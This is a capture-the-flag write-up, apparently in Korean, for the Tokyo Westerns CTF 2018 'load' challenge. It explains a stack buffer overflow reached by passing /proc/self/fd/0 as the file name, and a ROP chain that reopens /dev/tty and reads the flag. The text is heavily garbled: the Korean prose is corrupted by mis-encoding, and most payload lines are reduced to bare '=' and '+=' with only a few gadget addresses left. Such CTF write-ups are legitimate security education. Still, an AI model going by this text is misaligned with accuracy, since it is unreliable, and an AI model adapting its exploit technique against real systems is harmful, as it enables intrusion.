Tokyo Westerns CTF 2018 - load
0x00. Introduction
)
0x01. Vulnerability
int __fastcall
load_file_4008FD()๋ฅผ ๋ณด๋ฉด ์
๋ ฅ๋ฐ์ ํ์ผ๋ช
์ openํด์ ๋ด์ฉ์ size๋งํผ ์ฝ์ ํ main()์ buf ๋ณ์์ ์จ์ค๋ค.
์ด ๋ file_name์ /proc/self/fd/0์ผ๋ก ์กฐ์ํด์ค๋ค๋ฉด, ํ์ผ์ ๋ด์ฉ์ ์ฝ๋ ๊ฒ์ด ์๋ stdin์ ์ฝ์ด์ buf์ ์ฐ๋ ๊ผด์ด ๋๋ค.
char buf; // [rsp+0h] [rbp-30h] BYREF
size_t size; // [rsp+20h] [rbp-10h]
__off_t offset; // [rsp+28h] [rbp-8h]
main()์ buf๋ rbp-0x30์ ์์นํด์๊ณ ์ํ๋ ๋งํผ size๋ฅผ ์
๋ ฅํ ์ ์์ผ๋ BOF ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค.
0x02. Exploit
BOF ์ทจ์ฝ์ ์ด ์์ผ๋ libc leak์ ํ๋ ค๊ณ ํ๋๋ฐ PLT๊ฐ ์๋ puts()๋ _printf_chk()๋ ์ด์ํ๊ฒ ์ถ๋ ฅ์ด ์๋๋ค.
๊ทธ๋์ ๋๋ฒ๊น
์ ํด๋ณด๋ puts()์ ๋ฆฌํด ๊ฐ์ด -1์ธ ๊ฒ์ ํ์ธํ๊ณ , ๋ญ๊ฐ ์๋ฌ๊ฐ ๋ฐ์ํ์์ ์์๋ค. ์ธ์ ์ด๋ฐ ์๋ฌ๊ฐ ๋ฐ์ํ๋์ง ์ฐพ์๋ณด๋ค๊ฐ stdout์ ๋ฌธ์ ๊ฐ ์๊ธฐ๋ฉด ๊ทธ๋ด ์ ์๋ค๋ ์ ๋ณด๋ฅผ ์ฐพ์์ ํ์ธํด๋ณด๋โฆ
int
load_file_4008FD()์ด ๋๋ ํ main()์ด ์ข
๋ฃ๋๊ธฐ ์ ์ close_4008D8()๋ผ๋ ํจ์๊ฐ ํธ์ถ๋๋๋ฐ, ์ฌ๊ธฐ์์ stdout์ closeํด๋ฒ๋ฆฐ๋ค. ๊ทธ๋์ ๊ตฌ๊ธ๋ง์ ์ด์ฌํ ํด๋ณด๋ /dev/tty๋ฅผ openํ๋ฉด ๋ค์ stdout์ ์ด๋ฆด ์ ์๋ค๋ ๊ฒ์ ์์๋ค.
๋ฌธ์ ๋ /dev/tty๋ฅผ ์ด๋์ ๋ฃ์ด๋๊ณ open()์ ์ ๋ฌํ ๊ฒ์ด๋์ธ๋ฐ, BOF ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํด file_name์ /proc/self/fd/0์ ๋ฃ๋ ๊ณผ์ ์์ \x00์ ํ๋ ์ถ๊ฐํ๊ณ /dev/tty๋ฅผ ์ ๋ฌํ๋ฉด ๋ ๊ฒ ๊ฐ์๋ค.
# open("/dev/tty", O_RDWR | O_CREAT)
=
+= # pop rsi
+= # pop r15
+=
+= # pop rdi
+=
์ payload๋ฅผ ROP chain์ 3๋ฒ ๋ฃ์ด์ /proc/self/fd/์ ์์๋๋ก 0, 1, 2๊ฐ ์์ฑ๋๋ ๊ฒ์ ํ์ธํ๋ค.
์ด๋ ๊ฒ leak์ ํ๋๋ฐ์๋ ์ฑ๊ณตํ์ผ๋ stdin์ ์ด๋ ธ์์๋ ๋ค์ playoad๋ฅผ ์ ์กํ๋ ๊ฒ์ ์คํจํ๋ค. ๊ทธ๋์ ๊ณ ๋ฏผ์ด ๋๋๊ฒ leak์ ํด๋ดค์ ๋ค์ ์
๋ ฅ์ ์ค ์๊ฐ ์์ผ๋ฏ๋ก ํ๋ฒ์ ์
๋ ฅ์ ์ค์ flag๋ฅผ open -> read -> write๋ฅผ ๋ค ์์ผ์ผํ๋๋ฐ rdx ๊ด๋ จ ๊ฐ์ ฏ์ด ์๋ค.
๊ทธ๋ฌ๋ฉด read์ ์ธ ๋ฒ์งธ ์ธ์์ธ size ์ปจํธ๋กค์ด ๋ถ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ open("flag", 'r');์ ํ ์ดํ์ rdx ๊ฐ์ด ๋ด์ฉ์ ์ฝ์ด์ค๊ธฐ์ ์ถฉ๋ถํ ํฐ ๊ฐ์ด๊ธฐ๋ฅผ ๊ธฐ๋ํด์ผํ๋๋ฐโฆ ์ค์ ๋ก ํ์ธํด๋ณด๋ open์ด ์ข
๋ฃ๋๊ณ ๋ rdx ๊ฐ์ด 0์ด์๋ค.
์ด๋ป๊ฒ ์ถ๋ ฅ์ ํ ์ง ํ์ฐธ์ ๊ณ ๋ฏผํ๋ค๊ฐโฆ
;
๋ง์นจ ๋์ผํ ๋ก์ง์ ์ํํ๋ ํจ์๊ฐ ์ฝ๋ ์์ญ์ ์์๋ค!
rdi:pop rdi; ret;๊ฐ์ ฏ ํ์ฉ, free space์ธbyte_601040rsi:pop rsi; pop r15; ret;๊ฐ์ ฏ ํ์ฉ, BOF ํธ๋ฆฌ๊ฑฐ ํ ๋ ๋ฃ์flag์์นrdx:open์ข ๋ฃ ํ0rcx:open์ข ๋ฃ ํ0x7ffff7e9e53b(์ถฉ๋ถํ ํฐ ๊ฐ)
์ด๋ฐ์์ผ๋ก ๋ ์ง์คํฐ๋ฅผ ์ปจํธ๋กคํด์ฃผ๋ฉด flag๋ฅผ ์ถ๋ ฅํ ์ ์์๋ค.
0x03. Payload
= True
=
=
= 0x0000000000400a73
= 0x0000000000400a71
=
= f
=
=
=
=
=
= b * 0x30
+= b * 8
# open("/dev/tty", O_RDWR | O_CREAT)
=
+= # pop rsi
+= # pop r15
+=
+= # pop rdi
+=
# open 3 times -> open 0, 1, 2
+= * 3
# load_file_4008FD(byte_601040, "flag", offset, size)
+=
+= # pop rsi
+= # pop r15
+=
+= # pop rdi
+=
# puts(byte_601040)
+=
+= # pop rdi
+=